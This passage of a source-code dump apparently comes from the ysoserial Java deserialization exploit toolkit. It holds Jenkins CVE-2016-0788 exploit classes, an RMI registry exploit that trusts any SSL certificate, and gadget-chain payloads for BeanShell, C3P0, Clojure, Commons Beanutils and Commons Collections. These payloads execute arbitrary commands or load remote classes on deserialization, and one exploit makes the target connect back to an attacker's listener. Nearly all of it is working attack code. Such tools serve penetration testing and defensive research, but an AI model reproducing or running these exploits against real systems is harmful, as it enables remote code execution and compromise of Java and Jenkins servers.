java.lang.reflect.Constructor; 9 | import java.lang.reflect.InvocationHandler; 10 | import java.lang.reflect.InvocationTargetException; 11 | import java.lang.reflect.Method; 12 | import java.lang.reflect.Proxy; 13 | import java.net.InetSocketAddress; 14 | import java.net.Socket; 15 | import java.rmi.activation.ActivationDesc; 16 | import java.rmi.activation.ActivationID; 17 | import java.rmi.activation.ActivationInstantiator; 18 | 19 | import javax.net.SocketFactory; 20 | 21 | import hudson.remoting.Callable; 22 | import hudson.remoting.Channel; 23 | import hudson.remoting.JarLoader; 24 | import sun.rmi.server.Util; 25 | import sun.rmi.transport.TransportConstants; 26 | import ysoserial.payloads.JRMPListener; 27 | import ysoserial.payloads.ObjectPayload; 28 | import ysoserial.payloads.ObjectPayload.Utils; 29 | import ysoserial.payloads.util.Reflections; 30 | 31 | 32 | /** 33 | * CVE-2016-0788 exploit (1) 34 | * 35 | * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. 36 | * 2. that payload causes the remote server to open up an JRMP listener (and export an object). 37 | * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. 38 | * 39 | * Extra twist: 40 | * The well-known objects exported by the listener use the system classloader which usually 41 | * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id 42 | * (which is using jenkins' classloader) that typically is properly randomized. 43 | * Fortunately - for the exploiting party - there is also a gadget that allows to leak 44 | * that identifier via an exception. 45 | * 46 | * @author mbechler 47 | */ 48 | @SuppressWarnings ( { 49 | "rawtypes", "restriction" 50 | } ) 51 | public class JenkinsListener { 52 | 53 | public static final void main ( final String[] args ) { 54 | 55 | if ( args.length < 3 ) { 56 | System.err.println(JenkinsListener.class.getName() + " "); 57 | System.exit(-1); 58 | } 59 | 60 | final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); 61 | if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { 62 | System.err.println("Invalid payload type '" + args[ 1 ] + "'"); 63 | System.exit(-1); 64 | } 65 | 66 | String jenkinsUrl = args[ 0 ]; 67 | int jrmpPort = 12345; 68 | 69 | Channel c = null; 70 | try { 71 | InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); 72 | c = JenkinsCLI.openChannel(isa); 73 | 74 | Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); 75 | InvocationHandler remote = Proxy.getInvocationHandler(call); 76 | int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); 77 | 78 | System.err.println("* JarLoader oid is " + oid); 79 | 80 | Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); 81 | 82 | Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); 83 | 84 | Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); 85 | 86 | try { 87 | c.call((Callable) o); 88 | } 89 | catch ( Exception e ) { 90 | // [ActivationGroupImpl[UnicastServerRef [liveRef: 91 | // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, 92 | // -9046794842107247609]] 93 | 94 | System.err.println(e.getMessage()); 95 | 96 | parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e); 97 | } 98 | 99 | } 100 | catch ( Throwable e ) { 101 | e.printStackTrace(); 102 | } 103 | finally { 104 | if ( c != null ) { 105 | try { 106 | c.close(); 107 | } 108 | catch ( IOException e ) { 109 | e.printStackTrace(System.err); 110 | } 111 | } 112 | } 113 | 114 | } 115 | 116 | 117 | private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class reqClass ) 118 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { 119 | Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); 120 | Reflections.setAccessible(reqCons); 121 | return reqCons 122 | .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { 123 | uro, 124 | }); 125 | } 126 | 127 | 128 | private static void parseObjIdAndExploit ( final String[] args, final Class payloadClass, int jrmpPort, 129 | InetSocketAddress isa, Exception e ) throws Exception, IOException { 130 | String msg = e.getMessage(); 131 | int start = msg.indexOf("objID:["); 132 | if ( start < 0 ) { 133 | throw new Exception("Failed to get object id"); 134 | } 135 | 136 | int sep = msg.indexOf(", ", start + 1); 137 | 138 | if ( sep < 0 ) { 139 | throw new Exception("Failed to get object id, separator"); 140 | } 141 | 142 | int end = msg.indexOf("]", sep + 1); 143 | 144 | if ( end < 0 ) { 145 | throw new Exception("Failed to get object id, separator"); 146 | } 147 | 148 | String uid = msg.substring(start + 7, sep); 149 | String objNum = msg.substring(sep + 2, end); 150 | 151 | System.err.println("* UID is " + uid); 152 | System.err.println("* ObjNum is " + objNum); 153 | 154 | String[] parts = uid.split(":"); 155 | 156 | long obj = Long.parseLong(objNum); 157 | int o1 = Integer.parseInt(parts[ 0 ], 16); 158 | long o2 = Long.parseLong(parts[ 1 ], 16); 159 | short o3 = Short.parseShort(parts[ 2 ], 16); 160 | 161 | exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]); 162 | } 163 | 164 | 165 | private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class payloadClass, String payloadArg ) 166 | throws IOException { 167 | Socket s = null; 168 | DataOutputStream dos = null; 169 | try { 170 | System.err.println("* Opening JRMP socket " + isa); 171 | s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); 172 | s.setKeepAlive(true); 173 | s.setTcpNoDelay(true); 174 | 175 | OutputStream os = s.getOutputStream(); 176 | dos = new DataOutputStream(os); 177 | 178 | dos.writeInt(TransportConstants.Magic); 179 | dos.writeShort(TransportConstants.Version); 180 | dos.writeByte(TransportConstants.SingleOpProtocol); 181 | 182 | dos.write(TransportConstants.Call); 183 | 184 | @SuppressWarnings ( "resource" ) 185 | final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); 186 | 187 | objOut.writeLong(obj); 188 | objOut.writeInt(o1); 189 | objOut.writeLong(o2); 190 | objOut.writeShort(o3); 191 | 192 | objOut.writeInt(-1); 193 | objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); 194 | 195 | final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance(); 196 | final Object object = payload.getObject(payloadArg); 197 | objOut.writeObject(object); 198 | os.flush(); 199 | ObjectPayload.Utils.releasePayload(payload, object); 200 | } 201 | catch ( Exception e ) { 202 | e.printStackTrace(System.err); 203 | } 204 | finally { 205 | if ( dos != null ) { 206 | dos.close(); 207 | } 208 | if ( s != null ) { 209 | s.close(); 210 | } 211 | } 212 | } 213 | 214 | 215 | } 216 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JenkinsReverse.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | import java.io.IOException; 5 | import java.net.InetSocketAddress; 6 | import java.rmi.registry.Registry; 7 | import java.util.Random; 8 | 9 | import hudson.remoting.Channel; 10 | import ysoserial.exploit.JRMPListener; 11 | import ysoserial.payloads.JRMPClient; 12 | import ysoserial.payloads.ObjectPayload.Utils; 13 | 14 | 15 | /** 16 | * CVE-2016-0788 exploit (2) 17 | * 18 | * - Sets up a local {@link JRMPListener} 19 | * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol 20 | * that will cause the remote to open a JRMP connection to our listener 21 | * - upon connection the specified payload will be delivered to the remote 22 | * (that will deserialize using a default ObjectInputStream) 23 | * 24 | * @author mbechler 25 | * 26 | */ 27 | public class JenkinsReverse { 28 | 29 | public static final void main ( final String[] args ) { 30 | if ( args.length < 4 ) { 31 | System.err.println(JenkinsListener.class.getName() + " "); 32 | System.exit(-1); 33 | } 34 | 35 | 36 | final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); 37 | String myAddr = args[ 1 ]; 38 | int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; 39 | String jenkinsUrl = args[ 0 ]; 40 | 41 | Thread t = null; 42 | Channel c = null; 43 | try { 44 | InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); 45 | c = JenkinsCLI.openChannel(isa); 46 | JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); 47 | t = new Thread(listener, "ReverseDGC"); 48 | t.setDaemon(true); 49 | t.start(); 50 | Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); 51 | c.call(JenkinsCLI.getPropertyCallable(payload)); 52 | listener.waitFor(1000); 53 | listener.close(); 54 | } 55 | catch ( Throwable e ) { 56 | e.printStackTrace(); 57 | } 58 | finally { 59 | if ( c != null ) { 60 | try { 61 | c.close(); 62 | } 63 | catch ( IOException e ) { 64 | e.printStackTrace(System.err); 65 | } 66 | } 67 | 68 | if ( t != null ) { 69 | t.interrupt(); 70 | try { 71 | t.join(); 72 | } 73 | catch ( InterruptedException e ) { 74 | e.printStackTrace(System.err); 75 | } 76 | } 77 | } 78 | Utils.releasePayload(args[2], payloadObject); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/RMIRegistryExploit.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | import java.io.IOException; 4 | import java.net.Socket; 5 | import java.rmi.ConnectIOException; 6 | import java.rmi.Remote; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | import java.rmi.server.RMIClientSocketFactory; 10 | import java.security.cert.X509Certificate; 11 | import java.util.concurrent.Callable; 12 | import javax.net.ssl.*; 13 | 14 | import ysoserial.payloads.CommonsCollections1; 15 | import ysoserial.payloads.ObjectPayload; 16 | import ysoserial.payloads.ObjectPayload.Utils; 17 | import ysoserial.payloads.util.Gadgets; 18 | import ysoserial.secmgr.ExecCheckingSecurityManager; 19 | 20 | /* 21 | * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. 22 | * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. 23 | * 24 | * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote 25 | * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . 26 | */ 27 | @SuppressWarnings({"rawtypes", "unchecked"}) 28 | public class RMIRegistryExploit { 29 | private static class TrustAllSSL implements X509TrustManager { 30 | private static final X509Certificate[] ANY_CA = {}; 31 | public X509Certificate[] getAcceptedIssuers() { return ANY_CA; } 32 | public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } 33 | public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } 34 | } 35 | 36 | private static class RMISSLClientSocketFactory implements RMIClientSocketFactory { 37 | public Socket createSocket(String host, int port) throws IOException { 38 | try { 39 | SSLContext ctx = SSLContext.getInstance("TLS"); 40 | ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null); 41 | SSLSocketFactory factory = ctx.getSocketFactory(); 42 | return factory.createSocket(host, port); 43 | } catch(Exception e) { 44 | throw new IOException(e); 45 | } 46 | } 47 | } 48 | 49 | public static void main(final String[] args) throws Exception { 50 | final String host = args[0]; 51 | final int port = Integer.parseInt(args[1]); 52 | final String command = args[3]; 53 | Registry registry = LocateRegistry.getRegistry(host, port); 54 | final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; 55 | final Class payloadClass = (Class) Class.forName(className); 56 | 57 | // test RMI registry connection and upgrade to SSL connection on fail 58 | try { 59 | registry.list(); 60 | } catch(ConnectIOException ex) { 61 | registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory()); 62 | } 63 | 64 | // ensure payload doesn't detonate during construction or deserialization 65 | exploit(registry, payloadClass, command); 66 | } 67 | 68 | public static void exploit(final Registry registry, 69 | final Class payloadClass, 70 | final String command) throws Exception { 71 | new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception { 72 | ObjectPayload payloadObj = payloadClass.newInstance(); 73 | Object payload = payloadObj.getObject(command); 74 | String name = "pwned" + System.nanoTime(); 75 | Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); 76 | try { 77 | registry.bind(name, remote); 78 | } catch (Throwable e) { 79 | e.printStackTrace(); 80 | } 81 | Utils.releasePayload(payloadObj, payload); 82 | return null; 83 | }}); 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/BeanShell1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import bsh.Interpreter; 4 | import bsh.XThis; 5 | 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Proxy; 8 | import java.util.Arrays; 9 | import java.util.Comparator; 10 | import java.util.PriorityQueue; 11 | 12 | import ysoserial.Strings; 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.util.Reflections; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.util.PayloadRunner; 17 | 18 | /** 19 | * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) 20 | */ 21 | 22 | @SuppressWarnings({ "rawtypes", "unchecked" }) 23 | @Dependencies({ "org.beanshell:bsh:2.0b5" }) 24 | @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) 25 | public class BeanShell1 extends PayloadRunner implements ObjectPayload { 26 | 27 | public PriorityQueue getObject(String command) throws Exception { 28 | // BeanShell payload 29 | 30 | String payload = 31 | "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + 32 | Strings.join( // does not support spaces in quotes 33 | Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")), 34 | ",", "\"", "\"") + 35 | "}).start();return new Integer(1);}"; 36 | 37 | // Create Interpreter 38 | Interpreter i = new Interpreter(); 39 | 40 | // Evaluate payload 41 | i.eval(payload); 42 | 43 | // Create InvocationHandler 44 | XThis xt = new XThis(i.getNameSpace(), i); 45 | InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); 46 | 47 | // Create Comparator Proxy 48 | Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); 49 | 50 | // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) 51 | final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); 52 | Object[] queue = new Object[] {1,1}; 53 | Reflections.setFieldValue(priorityQueue, "queue", queue); 54 | Reflections.setFieldValue(priorityQueue, "size", 2); 55 | 56 | return priorityQueue; 57 | } 58 | 59 | public static void main(final String[] args) throws Exception { 60 | PayloadRunner.run(BeanShell1.class, args); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/C3P0.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.io.PrintWriter; 5 | import java.sql.SQLException; 6 | import java.sql.SQLFeatureNotSupportedException; 7 | import java.util.logging.Logger; 8 | 9 | import javax.naming.NamingException; 10 | import javax.naming.Reference; 11 | import javax.naming.Referenceable; 12 | import javax.sql.ConnectionPoolDataSource; 13 | import javax.sql.PooledConnection; 14 | 15 | import com.mchange.v2.c3p0.PoolBackedDataSource; 16 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; 17 | 18 | import ysoserial.payloads.annotation.Authors; 19 | import ysoserial.payloads.annotation.Dependencies; 20 | import ysoserial.payloads.annotation.PayloadTest; 21 | import ysoserial.payloads.util.PayloadRunner; 22 | import ysoserial.payloads.util.Reflections; 23 | 24 | 25 | /** 26 | * 27 | * 28 | * com.sun.jndi.rmi.registry.RegistryContext->lookup 29 | * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject 30 | * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject 31 | * 32 | * Arguments: 33 | * - base_url:classname 34 | * 35 | * Yields: 36 | * - Instantiation of remotely loaded class 37 | * 38 | * @author mbechler 39 | * 40 | */ 41 | @PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) 42 | @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) 43 | @Authors({ Authors.MBECHLER }) 44 | public class C3P0 implements ObjectPayload { 45 | public Object getObject ( String command ) throws Exception { 46 | int sep = command.lastIndexOf(':'); 47 | if ( sep < 0 ) { 48 | throw new IllegalArgumentException("Command format is: :"); 49 | } 50 | 51 | String url = command.substring(0, sep); 52 | String className = command.substring(sep + 1); 53 | 54 | PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); 55 | Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); 56 | return b; 57 | } 58 | 59 | 60 | 61 | 62 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 63 | 64 | private String className; 65 | private String url; 66 | 67 | public PoolSource ( String className, String url ) { 68 | this.className = className; 69 | this.url = url; 70 | } 71 | 72 | public Reference getReference () throws NamingException { 73 | return new Reference("exploit", this.className, this.url); 74 | } 75 | 76 | public PrintWriter getLogWriter () throws SQLException {return null;} 77 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 78 | public void setLoginTimeout ( int seconds ) throws SQLException {} 79 | public int getLoginTimeout () throws SQLException {return 0;} 80 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 81 | public PooledConnection getPooledConnection () throws SQLException {return null;} 82 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 83 | 84 | } 85 | 86 | 87 | public static void main ( final String[] args ) throws Exception { 88 | PayloadRunner.run(C3P0.class, args); 89 | } 90 | 91 | } 92 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Clojure.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; 4 | import clojure.lang.PersistentArrayMap; 5 | import ysoserial.Strings; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.PayloadRunner; 9 | 10 | import java.util.Arrays; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | /* 15 | Gadget chain: 16 | ObjectInputStream.readObject() 17 | HashMap.readObject() 18 | AbstractTableModel$ff19274a.hashCode() 19 | clojure.core$comp$fn__4727.invoke() 20 | clojure.core$constantly$fn__4614.invoke() 21 | clojure.main$eval_opt.invoke() 22 | 23 | Requires: 24 | org.clojure:clojure 25 | Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions 26 | */ 27 | @Dependencies({"org.clojure:clojure:1.8.0"}) 28 | @Authors({ Authors.JACKOFMOSTTRADES }) 29 | public class Clojure extends PayloadRunner implements ObjectPayload> { 30 | 31 | public Map getObject(final String command) throws Exception { 32 | 33 | // final String[] execArgs = command.split(" "); 34 | // final StringBuilder commandArgs = new StringBuilder(); 35 | // for (String arg : execArgs) { 36 | // commandArgs.append("\" \""); 37 | // commandArgs.append(arg); 38 | // } 39 | // commandArgs.append("\""); 40 | 41 | 42 | // final String clojurePayload = 43 | // String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2)); 44 | 45 | String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\""); 46 | 47 | final String clojurePayload = 48 | String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd); 49 | 50 | 51 | 52 | Map fnMap = new HashMap(); 53 | fnMap.put("hashCode", new clojure.core$constantly().invoke(0)); 54 | 55 | AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); 56 | model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); 57 | 58 | HashMap targetMap = new HashMap(); 59 | targetMap.put(model, null); 60 | 61 | fnMap.put("hashCode", 62 | new clojure.core$comp().invoke( 63 | new clojure.main$eval_opt(), 64 | new clojure.core$constantly().invoke(clojurePayload))); 65 | model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); 66 | 67 | return targetMap; 68 | } 69 | 70 | public static void main(final String[] args) throws Exception { 71 | PayloadRunner.run(Clojure.class, args); 72 | } 73 | 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsBeanutils1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.math.BigInteger; 4 | import java.util.PriorityQueue; 5 | 6 | import org.apache.commons.beanutils.BeanComparator; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | @SuppressWarnings({ "rawtypes", "unchecked" }) 15 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 16 | @Authors({ Authors.FROHOFF }) 17 | public class CommonsBeanutils1 implements ObjectPayload { 18 | 19 | public Object getObject(final String command) throws Exception { 20 | final Object templates = Gadgets.createTemplatesImpl(command); 21 | // mock method name until armed 22 | final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 23 | 24 | // create queue with numbers and basic comparator 25 | final PriorityQueue queue = new PriorityQueue(2, comparator); 26 | // stub data for replacement later 27 | queue.add("1"); 28 | queue.add("1"); 29 | 30 | // switch method called by comparator 31 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 32 | 33 | // switch contents of queue 34 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 35 | queueArray[0] = templates; 36 | queueArray[1] = templates; 37 | 38 | return queue; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsBeanutils1.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import org.apache.commons.collections.Transformer; 8 | import org.apache.commons.collections.functors.ChainedTransformer; 9 | import org.apache.commons.collections.functors.ConstantTransformer; 10 | import org.apache.commons.collections.functors.InvokerTransformer; 11 | import org.apache.commons.collections.map.LazyMap; 12 | 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.annotation.Dependencies; 15 | import ysoserial.payloads.annotation.PayloadTest; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.JavaVersion; 18 | import ysoserial.payloads.util.PayloadRunner; 19 | import ysoserial.payloads.util.Reflections; 20 | 21 | /* 22 | Gadget chain: 23 | ObjectInputStream.readObject() 24 | AnnotationInvocationHandler.readObject() 25 | Map(Proxy).entrySet() 26 | AnnotationInvocationHandler.invoke() 27 | LazyMap.get() 28 | ChainedTransformer.transform() 29 | ConstantTransformer.transform() 30 | InvokerTransformer.transform() 31 | Method.invoke() 32 | Class.getMethod() 33 | InvokerTransformer.transform() 34 | Method.invoke() 35 | Runtime.getRuntime() 36 | InvokerTransformer.transform() 37 | Method.invoke() 38 | Runtime.exec() 39 | 40 | Requires: 41 | commons-collections 42 | */ 43 | @SuppressWarnings({"rawtypes", "unchecked"}) 44 | @PayloadTest ( precondition = "isApplicableJavaVersion") 45 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 46 | @Authors({ Authors.FROHOFF }) 47 | public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { 48 | 49 | public InvocationHandler getObject(final String command) throws Exception { 50 | final String[] execArgs = new String[] { command }; 51 | // inert chain for setup 52 | final Transformer transformerChain = new ChainedTransformer( 53 | new Transformer[]{ new ConstantTransformer(1) }); 54 | // real chain for after setup 55 | final Transformer[] transformers = new Transformer[] { 56 | new ConstantTransformer(Runtime.class), 57 | new InvokerTransformer("getMethod", new Class[] { 58 | String.class, Class[].class }, new Object[] { 59 | "getRuntime", new Class[0] }), 60 | new InvokerTransformer("invoke", new Class[] { 61 | Object.class, Object[].class }, new Object[] { 62 | null, new Object[0] }), 63 | new InvokerTransformer("exec", 64 | new Class[] { String.class }, execArgs), 65 | new ConstantTransformer(1) }; 66 | 67 | final Map innerMap = new HashMap(); 68 | 69 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 70 | 71 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 72 | 73 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 74 | 75 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 76 | 77 | return handler; 78 | } 79 | 80 | public static void main(final String[] args) throws Exception { 81 | PayloadRunner.run(CommonsCollections1.class, args); 82 | } 83 | 84 | public static boolean isApplicableJavaVersion() { 85 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import org.apache.commons.collections4.comparators.TransformingComparator; 7 | import org.apache.commons.collections4.functors.InvokerTransformer; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | import ysoserial.payloads.util.Reflections; 14 | 15 | 16 | /* 17 | Gadget chain: 18 | ObjectInputStream.readObject() 19 | PriorityQueue.readObject() 20 | ... 21 | TransformingComparator.compare() 22 | InvokerTransformer.transform() 23 | Method.invoke() 24 | Runtime.exec() 25 | */ 26 | 27 | @SuppressWarnings({ "rawtypes", "unchecked" }) 28 | @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) 29 | @Authors({ Authors.FROHOFF }) 30 | public class CommonsCollections2 implements ObjectPayload> { 31 | 32 | public Queue getObject(final String command) throws Exception { 33 | final Object templates = Gadgets.createTemplatesImpl(command); 34 | // mock method name until armed 35 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 36 | 37 | // create queue with numbers and basic comparator 38 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 39 | // stub data for replacement later 40 | queue.add(1); 41 | queue.add(1); 42 | 43 | // switch method called by comparator 44 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 45 | 46 | // switch contents of queue 47 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 48 | queueArray[0] = templates; 49 | queueArray[1] = 1; 50 | 51 | return queue; 52 | } 53 | 54 | public static void main(final String[] args) throws Exception { 55 | PayloadRunner.run(CommonsCollections2.class, args); 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections3.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import javax.xml.transform.Templates; 8 | 9 | import org.apache.commons.collections.Transformer; 10 | import org.apache.commons.collections.functors.ChainedTransformer; 11 | import org.apache.commons.collections.functors.ConstantTransformer; 12 | import org.apache.commons.collections.functors.InstantiateTransformer; 13 | import org.apache.commons.collections.map.LazyMap; 14 | 15 | import ysoserial.payloads.annotation.Authors; 16 | import ysoserial.payloads.annotation.Dependencies; 17 | import ysoserial.payloads.annotation.PayloadTest; 18 | import ysoserial.payloads.util.Gadgets; 19 | import ysoserial.payloads.util.JavaVersion; 20 | import ysoserial.payloads.util.PayloadRunner; 21 | import ysoserial.payloads.util.Reflections; 22 | 23 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 24 | 25 | /* 26 | * Variation on CommonsCollections1 that uses InstantiateTransformer instead of 27 | * InvokerTransformer. 28 | */ 29 | @SuppressWarnings({"rawtypes", "unchecked", "restriction"}) 30 | @PayloadTest ( precondition = "isApplicableJavaVersion") 31 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 32 | @Authors({ Authors.FROHOFF }) 33 | public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { 34 | 35 | public Object getObject(final String command) throws Exception { 36 | Object templatesImpl = Gadgets.createTemplatesImpl(command); 37 | 38 | // inert chain for setup 39 | final Transformer transformerChain = new ChainedTransformer( 40 | new Transformer[]{ new ConstantTransformer(1) }); 41 | // real chain for after setup 42 | final Transformer[] transformers = new Transformer[] { 43 | new ConstantTransformer(TrAXFilter.class), 44 | new InstantiateTransformer( 45 | new Class[] { Templates.class }, 46 | new Object[] { templatesImpl } )}; 47 | 48 | final Map innerMap = new HashMap(); 49 | 50 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 51 | 52 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 53 | 54 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 55 | 56 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 57 | 58 | return handler; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections3.class, args); 63 | } 64 | 65 | public static boolean isApplicableJavaVersion() { 66 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections4.java: 